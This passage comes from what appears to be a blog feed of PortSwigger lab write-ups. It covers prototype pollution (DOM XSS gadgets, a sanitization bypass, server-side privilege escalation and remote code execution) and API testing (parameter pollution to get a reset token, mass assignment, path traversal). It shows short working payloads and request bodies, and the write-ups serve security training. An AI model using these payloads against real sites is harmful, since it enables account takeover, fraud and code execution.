    <span class="kd">let</span> <span class="nx">config</span> <span class="o">=</span> <span class="p">{</span><span class="na">params</span><span class="p">:</span> <span class="nx">deparam</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">location</span><span class="p">).</span><span class="nx">searchParams</span><span class="p">.</span><span class="nx">toString</span><span class="p">())};</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">);</span>
        <span class="nx">script</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">config</span><span class="p">.</span><span class="nx">transport_url</span><span class="p">;</span>
        <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">params</span> <span class="o">&amp;&amp;</span> <span class="nx">config</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">search</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">logQuery</span><span class="p">(</span><span class="dl">'</span><span class="s1">/logger</span><span class="dl">'</span><span class="p">,</span> <span class="nx">config</span><span class="p">.</span><span class="nx">params</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">load</span><span class="dl">"</span><span class="p">,</span> <span class="nx">searchLogger</span><span class="p">);</span>
</code></pre></div></div>

<blockquote>
  <p>Reviewing the source code we find a JavaScript file. If we analyze the file we see that an object config is being created which contains the property params. However in the next line a check is made on the property transport_url which is empty, that is undefined. Knowing this we have found the gadget to exploit the prototype pollution. It would be the property transport_url.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005184112.png" alt="" /></p>

<blockquote>
  <p>Like the previous lab we exploit data to trick the browser and execute a JavaScript code inside the script tag src attribute context.</p>
</blockquote>

<ul>
  <li>DOM Invader</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005184244.png" alt="" /></p>

<blockquote>
  <p>Using the extension we detect possible access to the prototype.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005184332.png" alt="" /></p>

<blockquote>
  <p>We perform a gadget scan and the extension detects a potential path to execute malicious JavaScript inside the context of a script tag src attribute.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005184441.png" alt="" /></p>

<h2 id="dom-xss-via-an-alternative-prototype-pollution-vector">DOM XSS via an alternative prototype pollution vector</h2>

<ul>
  <li>Manual</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005185222.png" alt="" /></p>

<blockquote>
  <p>When attempting to access the prototype with the <code class="language-plaintext highlighter-rouge">__proto__</code> method we see we cannot modify the foo property.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005185449.png" alt="" /></p>

<blockquote>
  <p>To access the prototype we can try other alternatives like <code class="language-plaintext highlighter-rouge">__proto__.foo=bar</code>.</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">logQuery</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="nx">params</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">{</span><span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">post</span><span class="dl">"</span><span class="p">,</span> <span class="na">keepalive</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">params</span><span class="p">)});</span>
    <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Failed storing query</span><span class="dl">"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">async</span> <span class="kd">function</span> <span class="nx">searchLogger</span><span class="p">()</span> <span class="p">{</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">macros</span> <span class="o">=</span> <span class="p">{};</span>
    <span class="nb">window</span><span class="p">.</span><span class="nx">manager</span> <span class="o">=</span> <span class="p">{</span><span class="na">params</span><span class="p">:</span> <span class="nx">$</span><span class="p">.</span><span class="nx">parseParams</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">location</span><span class="p">)),</span> <span class="nx">macro</span><span class="p">(</span><span class="nx">property</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">macros</span><span class="p">.</span><span class="nx">hasOwnProperty</span><span class="p">(</span><span class="nx">property</span><span class="p">))</span>
                <span class="k">return</span> <span class="nx">macros</span><span class="p">[</span><span class="nx">property</span><span class="p">]</span>
        <span class="p">}};</span>
    <span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">manager</span><span class="p">.</span><span class="nx">sequence</span> <span class="o">||</span> <span class="mi">1</span><span class="p">;</span>
    <span class="nx">manager</span><span class="p">.</span><span class="nx">sequence</span> <span class="o">=</span> <span class="nx">a</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>

    <span class="nb">eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">if(manager &amp;&amp; manager.sequence){ manager.macro(</span><span class="dl">'</span><span class="o">+</span><span class="nx">manager</span><span class="p">.</span><span class="nx">sequence</span><span class="o">+</span><span class="dl">'</span><span class="s1">) }</span><span class="dl">'</span><span class="p">);</span>

    <span class="k">if</span><span class="p">(</span><span class="nx">manager</span><span class="p">.</span><span class="nx">params</span> <span class="o">&amp;&amp;</span> <span class="nx">manager</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">search</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">await</span> <span class="nx">logQuery</span><span class="p">(</span><span class="dl">'</span><span class="s1">/logger</span><span class="dl">'</span><span class="p">,</span> <span class="nx">manager</span><span class="p">.</span><span class="nx">params</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">load</span><span class="dl">"</span><span class="p">,</span> <span class="nx">searchLogger</span><span class="p">);</span>
</code></pre></div></div>

<blockquote>
  <p>Reviewing the source code we find a JavaScript file. Inside this file we find a use of the eval() function which allows execution of JavaScript in certain contexts. To find the gadget we notice the object manager.sequence is within the context of some operators.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005191707.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005194122.png" alt="" /></p>

<blockquote>
  <p>When attempting to execute the JavaScript we see a syntax error. This is because the actual query behind it would be something like:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">if(manager &amp;&amp; manager.sequence){ manager.macro(</span><span class="dl">'</span><span class="o">+</span><span class="nx">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="mi">1</span><span class="o">+</span><span class="dl">'</span><span class="s1">) }</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<blockquote>
  <p>The syntax error occurs due to the 1 that is added when creating the property manager.sequence.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005191857.png" alt="" /></p>

<blockquote>
  <p>For the syntax to be valid and allow us to execute JavaScript we simply have to add an operator at the end. That way the final query would look like:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">if(manager &amp;&amp; manager.sequence){ manager.macro(</span><span class="dl">'</span><span class="o">+</span><span class="nx">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="o">+</span><span class="dl">'</span><span class="s1">) }</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<ul>
  <li>DOM Invader</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005192413.png" alt="" /></p>

<blockquote>
  <p>Using the extension we find a way to access the prototype using another syntax when using the <code class="language-plaintext highlighter-rouge">__proto__</code> method.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005192548.png" alt="" /></p>

<blockquote>
  <p>We run the gadget scan and observe the extension detects a potential vector to execute JavaScript via the eval() function.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005192725.png" alt="" /></p>

<blockquote>
  <p>When executing the exploit generated by the extension we see a syntax error inside the JavaScript code.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005192834.png" alt="" /></p>

<blockquote>
  <p>We go to the file where the error is and see that the error lies in creating the manager.sequence property. The script adds a 1 and that makes the final query like:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">if(manager &amp;&amp; manager.sequence){ manager.macro(</span><span class="dl">'</span><span class="o">+</span><span class="nx">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="mi">1</span><span class="o">+</span><span class="dl">'</span><span class="s1">) }</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251005191857.png" alt="" /></p>

<blockquote>
  <p>To fix this we add an operator at the end so the final query would be executing:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">eval</span><span class="p">(</span><span class="dl">'</span><span class="s1">if(manager &amp;&amp; manager.sequence){ manager.macro(</span><span class="dl">'</span><span class="o">+</span><span class="nx">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="o">+</span><span class="dl">'</span><span class="s1">) }</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>

<h2 id="client-side-prototype-pollution-via-flawed-sanitization">Client-side prototype pollution via flawed sanitization</h2>

<ul>
  <li>Manual</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005201247.png" alt="" /></p>

<blockquote>
  <p>Reviewing the source code we find a file that sanitizes prototype pollution injections. This sanitization replaces the words <code class="language-plaintext highlighter-rouge">constructor, __proto__, prototype</code>.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005201447.png" alt="" /></p>

<blockquote>
  <p>Knowing this we can take advantage of the replacement of the word <code class="language-plaintext highlighter-rouge">__proto__</code> in such a way that we would get a result like this:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span> <span class="nx">BEFORE</span> <span class="nx">SANETIZED</span> <span class="o">-</span>

<span class="nx">__pro__DELETED__to__</span><span class="p">[</span><span class="nx">foo</span><span class="p">]</span><span class="o">=</span><span class="nx">bar</span>

<span class="o">-</span> <span class="nx">AFTER</span> <span class="nx">SANETIZED</span> <span class="o">-</span>
  
<span class="nx">__proto__</span><span class="p">[</span><span class="nx">foo</span><span class="p">]</span><span class="o">=</span><span class="nx">bar</span>
</code></pre></div></div>

<p><img src="/img2/Pasted%20image%2020251005201654.png" alt="" /></p>

<blockquote>
  <p>If we keep reading the source code we find the gadget. In this case it would again be the property config.transport_url which is not defined at any time, that is it would be undefined.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005201833.png" alt="" /></p>

<ul>
  <li>DOM Invader</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005202045.png" alt="" /></p>

<blockquote>
  <p>Using the extension we see how to bypass the sanitization and access the prototype.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005202200.png" alt="" /></p>

<blockquote>
  <p>We perform a gadget scan and the extension detects a path that could execute JavaScript inside the context of a script tag src attribute.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005202343.png" alt="" /></p>

<h2 id="client-side-prototype-pollution-in-third-party-libraries">Client-side prototype pollution in third-party libraries</h2>

<ul>
  <li>Manual</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005222910.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005222645.png" alt="" /></p>

<blockquote>
  <p>We see that the jQuery version is very old. In jQuery versions (&lt;1.12 / &lt;2.2) we can access the prototype via the url hash.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005223654.png" alt="" /></p>

<blockquote>
  <p>We review all possible gadgets in the JavaScript files.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005223935.png" alt="" /></p>

<blockquote>
  <p>We start the debugger mode by modifying a response.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005224455.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005224814.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005224837.png" alt="" /></p>

<blockquote>
  <p>To find the gadget we can use the following script:</p>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">prototype</span><span class="p">,</span> <span class="dl">'</span><span class="s1">YOUR-PROPERTY</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
    <span class="kd">get</span><span class="p">()</span> <span class="p">{</span>
        <span class="nx">console</span><span class="p">.</span><span class="nx">trace</span><span class="p">();</span>
        <span class="k">return</span> <span class="dl">'</span><span class="s1">polluted</span><span class="dl">'</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">})</span>
</code></pre></div></div>

<blockquote>
  <p>This script uses the property you specify and notifies us if that property is used.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005231120.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005231222.png" alt="" /></p>

<ul>
  <li>DOM Invader</li>
</ul>

<p><img src="/img2/Pasted%20image%2020251005231345.png" alt="" /></p>

<blockquote>
  <p>Using the extension we detect an injection in the url hash.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005231640.png" alt="" /></p>

<blockquote>
  <p>With the gadget scan we detect a potential vector to execute JavaScript in the setTimeout() function.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251005231728.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251005231222.png" alt="" /></p>

<h2 id="privilege-escalation-via-server-side-prototype-pollution">Privilege escalation via server-side prototype pollution</h2>

<p><img src="/img2/Pasted%20image%2020251006104350.png" alt="" /></p>

<blockquote>
  <p>We insert a new property into the prototype within the JSON body. This allows us to modify the user object because the server behind trusts properties inherited from the prototype as well as the object’s own properties.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006104557.png" alt="" /></p>

<blockquote>
  <p>We change the isAdmin property of the object to true.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006104631.png" alt="" /></p>

<h2 id="detecting-server-side-prototype-pollution-without-polluted-property-reflection">Detecting server-side prototype pollution without polluted property reflection</h2>

<p><img src="/img2/Pasted%20image%2020251006112457.png" alt="" /></p>

<blockquote>
  <p>We try to inject a property into the prototype but we see no sign that the injection succeeded.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006112638.png" alt="" /></p>

<blockquote>
  <p>However by forcing an error in the JSON body we see that the response error object does reflect this injected property.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006112835.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006112914.png" alt="" /></p>

<blockquote>
  <p>To confirm the vulnerability we modify some property that does not break the server’s functionality such as status</p>
</blockquote>

<h2 id="bypassing-flawed-input-filters-for-server-side-prototype-pollution">Bypassing flawed input filters for server-side prototype pollution</h2>

<p><img src="/img2/Pasted%20image%2020251006114258.png" alt="" /></p>

<blockquote>
  <p>Once we tried to inject a property into the prototype via <code class="language-plaintext highlighter-rouge">__proto__</code> we can try another alternative such as constructor.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006114409.png" alt="" /></p>

<blockquote>
  <p>We modify the isAdmin property taking into account that the server allows properties inherited from the prototype.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006114501.png" alt="" /></p>

<h2 id="remote-code-execution-via-server-side-prototype-pollution">Remote code execution via server-side prototype pollution</h2>

<p><img src="/img2/Pasted%20image%2020251006124157.png" alt="" /></p>

<blockquote>
  <p>We identify the injection of properties into the prototype.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006124315.png" alt="" /></p>

<blockquote>
  <p>We see that we have the option to run maintenance tasks. The server is probably running scripts in processes isolated from the main thread to avoid blocking the server.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006124727.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006124741.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006124752.png" alt="" /></p>

<blockquote>
  <p>Knowing this we can execute commands thanks to the execArgv property. This property is automatically executed by NodeJS when it runs a process as a separate script from the main thread. In NodeJS if you do not pass an option to the process it automatically executes process.execArgv. The –eval function allows executing JavaScript in NodeJS which, thanks to the child_process module, lets us execute system-level commands.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006125745.png" alt="" /></p>

<h2 id="exfiltrating-sensitive-data-via-server-side-prototype-pollution">Exfiltrating sensitive data via server-side prototype pollution</h2>

<p><img src="/img2/Pasted%20image%2020251006130243.png" alt="" /></p>

<blockquote>
  <p>We detect the injection of a property into the prototype.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006135256.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006135314.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006135329.png" alt="" /></p>

<blockquote>
  <p>We try to execute commands in the same way as the previous lab and see that we cannot run commands. However there is another way to run commands in NodeJS using the properties:</p>
</blockquote>

<blockquote>
  <ol>
    <li>shell -&gt; Indicates the type of shell we will use (sh, vim…).</li>
    <li>input -&gt; Indicates the command that we will pass to the shell.</li>
  </ol>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251006135615.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251006135629.png" alt="" /></p>]]></content><author><name>PyUs3r</name><email>pyus3r@gmail.com</email><uri>https://linktr.ee/pyus3r</uri></author><category term="portswigger" /><category term="Web" /><category term="Burpsuite" /><category term="Prototype Pollution" /><summary type="html"><![CDATA[All Prototype Pollution labs of PortSwigger.]]></summary></entry><entry><title type="html">API testing - PortSwigger</title><link href="https://py-us3r.github.io/burp-writeup-apitesting/" rel="alternate" type="text/html" title="API testing - PortSwigger" /><published>2025-10-04T00:00:00+00:00</published><updated>2025-10-04T00:00:00+00:00</updated><id>https://py-us3r.github.io/burp-writeup-apitesting</id><content type="html" xml:base="https://py-us3r.github.io/burp-writeup-apitesting/"><![CDATA[<h2 id="tips">TIPS</h2>

<ul>
  <li>Parameter Pollution</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- DETECT PARAMETER POLLUTION-

username=administrator%26testing   -&gt; URL-Encode &amp;

- COMMENT QUERY -
  
username=administrator%23     -&gt; URL-Encode #

- FIND HIDDEN PARAMETERS -
  
username=administrator%26field=FUZZ%23   -&gt; Send to Intruder (Server-side variables name)

- GET RESET TOKEN -
  
username=administrator%26field=reset_token%23   -&gt; Find reset_token parameter in JS file
</span></code></pre></div></div>

<ul>
  <li>Hidden method <code class="language-plaintext highlighter-rouge">Change METHOD</code></li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PATCH</span> <span class="nn">/api/products/1/price</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>

Content-Type: application/json
Content-Length: 22

{
	"price" : 0
}
</code></pre></div></div>

<ul>
  <li>Mass-Assigment</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- VIEW OBJECT -

GET /api/checkout
</span></code></pre></div></div>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"chosen_discount"</span><span class="p">:{</span><span class="w">
        </span><span class="nl">"percentage"</span><span class="p">:</span><span class="mi">0</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"chosen_products"</span><span class="p">:[</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"product_id"</span><span class="p">:</span><span class="s2">"1"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"quantity"</span><span class="p">:</span><span class="mi">1</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">- MASS ASSIGMENT -

POST /api/checkout
Content-Type: application/json

{
    "chosen_discount":{
        "percentage":100
    },
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
</span></code></pre></div></div>

<ul>
  <li>Path Traversal</li>
</ul>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">POST /forgot-password


username=administrator/../../../../../openapi.json#
</span></code></pre></div></div>

<h2 id="explotación-de-un-endpoint-usando-la-documentación--exploiting-an-api-endpoint-using-documentation">Explotación de un endpoint usando la documentación || Exploiting an API endpoint using documentation</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>❯ gobuster <span class="nb">dir</span> <span class="nt">-u</span> https://0afa00be03681a5d82c915b40010002e.web-security-academy.net/ <span class="nt">-w</span> BSCP/burp-paths.txt <span class="nt">-t</span> 20 <span class="nt">--follow-redirect</span>
</code></pre></div></div>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">===============================================================</span>
<span class="no">Gobuster</span> <span class="n">v3</span><span class="o">.</span><span class="mi">6</span>
<span class="n">by</span> <span class="no">OJ</span> <span class="no">Reeves</span> <span class="p">(</span><span class="vi">@TheColonial</span><span class="p">)</span> <span class="o">&amp;</span> <span class="no">Christian</span> <span class="no">Mehlmauer</span> <span class="p">(</span><span class="vi">@firefart</span><span class="p">)</span>
<span class="o">===============================================================</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Url</span><span class="p">:</span>                     <span class="n">https</span><span class="ss">:/</span><span class="o">/</span><span class="mi">0</span><span class="n">afa00be03681a5d82c915b40010002e</span><span class="p">.</span><span class="nf">web</span><span class="o">-</span><span class="n">security</span><span class="o">-</span><span class="n">academy</span><span class="p">.</span><span class="nf">net</span><span class="o">/</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Method</span><span class="p">:</span>                  <span class="no">GET</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Threads</span><span class="p">:</span>                 <span class="mi">20</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Wordlist</span><span class="p">:</span>                <span class="no">BSCP</span><span class="o">/</span><span class="n">burp</span><span class="o">-</span><span class="n">paths</span><span class="p">.</span><span class="nf">txt</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Negative</span> <span class="no">Status</span> <span class="ss">codes:   </span><span class="mi">404</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">User</span> <span class="no">Agent</span><span class="p">:</span>              <span class="n">gobuster</span><span class="o">/</span><span class="mf">3.6</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Follow</span> <span class="no">Redirect</span><span class="p">:</span>         <span class="kp">true</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="no">Timeout</span><span class="p">:</span>                 <span class="mi">10</span><span class="n">s</span>
<span class="o">===============================================================</span>
<span class="no">Starting</span> <span class="n">gobuster</span> <span class="k">in</span> <span class="n">directory</span> <span class="n">enumeration</span> <span class="n">mode</span>
<span class="o">===============================================================</span>
<span class="sr">/api                  (Status: 200) [Size: 3315]
/</span><span class="n">logout</span>               <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">200</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">10624</span><span class="p">]</span>
<span class="sr">/resources/im</span><span class="n">ages</span><span class="o">/</span><span class="n">tracker</span><span class="p">.</span><span class="nf">gif</span> <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">200</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">42</span><span class="p">]</span>
<span class="sr">/my-account           (Status: 200) [Size: 3172]
/</span><span class="n">login</span>                <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">200</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">3172</span><span class="p">]</span>
<span class="sr">/filter               (Status: 200) [Size: 10722]
/</span><span class="n">product</span>              <span class="p">(</span><span class="no">Status</span><span class="p">:</span> <span class="mi">400</span><span class="p">)</span> <span class="p">[</span><span class="no">Size</span><span class="p">:</span> <span class="mi">30</span><span class="p">]</span>
<span class="no">Progress</span><span class="p">:</span> <span class="mi">279</span> <span class="o">/</span> <span class="mi">280</span> <span class="p">(</span><span class="mf">99.64</span><span class="o">%</span><span class="p">)</span>
<span class="o">===============================================================</span>
<span class="no">Finished</span>
<span class="o">===============================================================</span>
</code></pre></div></div>

<blockquote>
  <p>We do directory fuzzing and find the /api directory.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001214841.png" alt="" /></p>

<blockquote>
  <p>Inside the /api directory there is documentation for all API endpoints.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001214937.png" alt="" /></p>

<h2 id="parameter-pollution-en-query-string-del-servidor--exploiting-server-side-parameter-pollution-in-a-query-string">Parameter pollution en query string del servidor || Exploiting server-side parameter pollution in a query string</h2>

<p><img src="/img2/Pasted%20image%2020251001222352.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251001222520.png" alt="" /></p>

<blockquote>
  <p>We detect parameter pollution by injecting a new parameter by URL-encoding the &amp;.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001222909.png" alt="" /></p>

<blockquote>
  <p>Following the same idea of injecting parameters via URL-encoding, we can inject a # so we comment out the rest of the query. This reveals a hidden field parameter.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001223239.png" alt="" /></p>

<blockquote>
  <p>We insert the discovered field parameter by injection with URL-encoding and confirm the server interprets it.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001223541.png" alt="" /></p>

<blockquote>
  <p>We add a Burp Suite dictionary Server-side variables name.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001224005.png" alt="" /></p>

<blockquote>
  <p>Thanks to this we reveal that the field parameter shows which field is displayed in the response.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001224935.png" alt="" /></p>

<blockquote>
  <p>If we check the JavaScript file executed for the password change request we see there is a parameter with the password reset token.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251001225442.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251001225631.png" alt="" /></p>

<h2 id="descubrimiento-y-explotación-de-un-endpoint-no-usado--finding-and-exploiting-an-unused-api-endpoint">Descubrimiento y explotación de un endpoint no usado || Finding and exploiting an unused API endpoint</h2>

<p><img src="/img2/Pasted%20image%2020251002103927.png" alt="" /></p>

<blockquote>
  <p>When reviewing the requests made when adding a product to the cart we notice a request to an endpoint whose function is to check the product price.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251002104121.png" alt="" /></p>

<blockquote>
  <p>To see which methods are valid for the same endpoint we can change the request method. In the response we see the allowed methods, among them PATCH which updates the object.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251002104348.png" alt="" /></p>

<blockquote>
  <p>We add a JSON body with the price to update.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251002104504.png" alt="" /></p>

<h2 id="explotación-de-mass-assignment--exploiting-a-mass-assignment-vulnerability">Explotación de Mass Assignment || Exploiting a mass assignment vulnerability</h2>

<p><img src="/img2/Pasted%20image%2020251002110200.png" alt="" /></p>

<blockquote>
  <p>We detect an endpoint when placing the order that checks the products in the cart.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251002110515.png" alt="" /></p>

<blockquote>
  <p>We also find another method for the same endpoint which creates the order indicating the chosen product and quantity.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251002110341.png" alt="" /></p>

<blockquote>
  <p>We add the response obtained with the GET method and try changing the parameters. We manage to modify the percentage parameter. In this way we achieve a mass-assignment.</p>
</blockquote>

<h2 id="parameter-pollution-en-url-rest-del-servidor--exploiting-server-side-parameter-pollution-in-a-rest-url">Parameter pollution en URL REST del servidor || Exploiting server-side parameter pollution in a REST URL</h2>

<p><img src="/img2/Pasted%20image%2020251003112920.png" alt="" /></p>

<p><img src="/img2/Pasted%20image%2020251003112948.png" alt="" /></p>

<blockquote>
  <p>We detect a Path Traversal in the username field.</p>
</blockquote>

<p><img src="/img2/Pasted%20image%2020251003113100.png" alt="" /></p>

<blockquote>
